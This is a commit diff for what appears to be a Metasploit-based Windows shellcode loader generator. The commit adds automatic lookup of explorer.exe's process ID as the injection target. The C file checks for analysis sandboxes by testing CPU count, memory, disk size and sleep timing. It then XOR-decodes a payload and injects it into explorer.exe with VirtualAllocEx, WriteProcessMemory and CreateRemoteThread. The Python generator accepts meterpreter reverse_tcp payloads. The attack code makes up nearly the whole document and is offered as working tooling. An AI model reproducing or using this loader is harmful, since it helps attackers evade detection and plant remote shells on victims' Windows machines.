Added automatic PID identification. Using explorer.exe. Always running and always have access.

Author: Kracken256

Dockerfile

@@ -5,6 +5,7 @@ LABEL AUTOR="Welsey Jones"
 WORKDIR /root/Project
 
 RUN apt update
+RUN echo "This will take some time. Large download"
 RUN apt install -y build-essential metasploit-framework python3 mingw-w64
 
 COPY . .

frame.c

@@ -2,6 +2,7 @@
 #include <windows.h>
 #include <stdio.h>
 #include <time.h>
+#include <tlhelp32.h>
 
 unsigned long get_time()
 {
@@ -11,6 +12,44 @@ void compute_ftp()
 {
 	return;
 }
+
+int findMyProc(const char *procname)
+{
+
+	HANDLE hSnapshot;
+	PROCESSENTRY32 pe;
+	int pid = 0;
+	BOOL hResult;
+
+	// snapshot of all processes in the system
+	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+	if (INVALID_HANDLE_VALUE == hSnapshot)
+		return 0;
+
+	// initializing size: needed for using Process32First
+	pe.dwSize = sizeof(PROCESSENTRY32);
+
+	// info about first process encountered in a system snapshot
+	hResult = Process32First(hSnapshot, &pe);
+
+	// retrieve information about the processes
+	// and exit if unsuccessful
+	while (hResult)
+	{
+		// if we find the process: return process ID
+		if (strcmp(procname, pe.szExeFile) == 0)
+		{
+			pid = pe.th32ProcessID;
+			break;
+		}
+		hResult = Process32Next(hSnapshot, &pe);
+	}
+
+	// closes an open handle (CreateToolhelp32Snapshot)
+	CloseHandle(hSnapshot);
+	return pid;
+}
+
 int main(void)
 {
 	const char sig_evade[] = "// PYTHON_REPLACE_ME_HERE_1";
@@ -19,19 +58,20 @@ int main(void)
 	GetSystemInfo(&systemInfo);
 	DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
 	printf("Processors: %d\n", numberOfProcessors);
-	if (numberOfProcessors < 2) {
+	if (numberOfProcessors < 2)
+	{
 		compute_ftp();
 		return 0;
 	}
-		
 
 	// check RAM
 	MEMORYSTATUSEX memoryStatus;
 	memoryStatus.dwLength = sizeof(memoryStatus);
 	GlobalMemoryStatusEx(&memoryStatus);
 	DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
 	printf("Memory: %d\n", RAMMB);
-	if (RAMMB < 2048) {
+	if (RAMMB < 2048)
+	{
 		compute_ftp();
 		return 0;
 	}
@@ -44,15 +84,16 @@ int main(void)
 	DWORD diskSizeGB;
 	diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
 	printf("Disk space: %d\n", diskSizeGB);
-	if (diskSizeGB < 70) {
+	if (diskSizeGB < 70)
+	{
 		compute_ftp();
 		return 0;
 	}
 
 	unsigned long start = get_time();
 	Sleep(2000);
 	unsigned long end = get_time();
-	printf("Diff: %d\n", end-start);
+	printf("Diff: %d\n", end - start);
 	if ((end - start) != 2)
 	{
 		compute_ftp();
@@ -64,19 +105,19 @@ int main(void)
 		// PYTHON_REPLACE_ME_HERE_2
 		const char key[] = // PYTHON_REPLACE_ME_HERE_3
 
-		for (int i = 0; i < sizeof(buf); i++)
+			for (int i = 0; i < sizeof(buf); i++)
 		{
 			buf[i] = buf[i] ^ key[i % (sizeof(key) - 1)];
 		}
-		int migrateToPID = // PYTHON_REPLACE_ME_HERE_4
+		int migrateToPID = findMyProc("explorer.exe");
 		HANDLE hProcess = OpenProcess(0x001F0FFF, 0, migrateToPID);
 		int i = 0;
 		HANDLE addr = VirtualAllocEx(hProcess, &i, 0x1000, 0x3000, 0x40);
 
 		size_t outSize;
 		size_t j = 0;
 		WriteProcessMemory(hProcess, addr, buf, sizeof buf, &outSize);
-		int *threadId = CreateRemoteThread(hProcess, 0, 0, addr, &i,  0, 0);
+		int *threadId = CreateRemoteThread(hProcess, 0, 0, addr, &i, 0, 0);
 	}
 	return 0;
 }

gen.py

@@ -99,14 +99,10 @@ def print_help():
             print("Only windows payloads are supported at this time.")
             print("Payload must start with windows/. Ex: windows/meterpreter/reverse_tcp")
             exit(-3)
-        print("Warning: You must have access to the process to inject the shellcode.")
-        pid_to_migrate = input("What PID do you want to inject into: (Tip: use explorer.exe's PID.) ")
         output_file = input("Enter output file name: ")
     if ("-h" in sys.argv or "--help" in sys.argv):
         print_help()
         exit()
-    if "--pid" in sys.argv:
-        pid_to_migrate = sys.argv[sys.argv.index("--pid") + 1]
     if "--out" in sys.argv:
         output_file = sys.argv[sys.argv.index("--out") + 1]
     if "--payload" in sys.argv: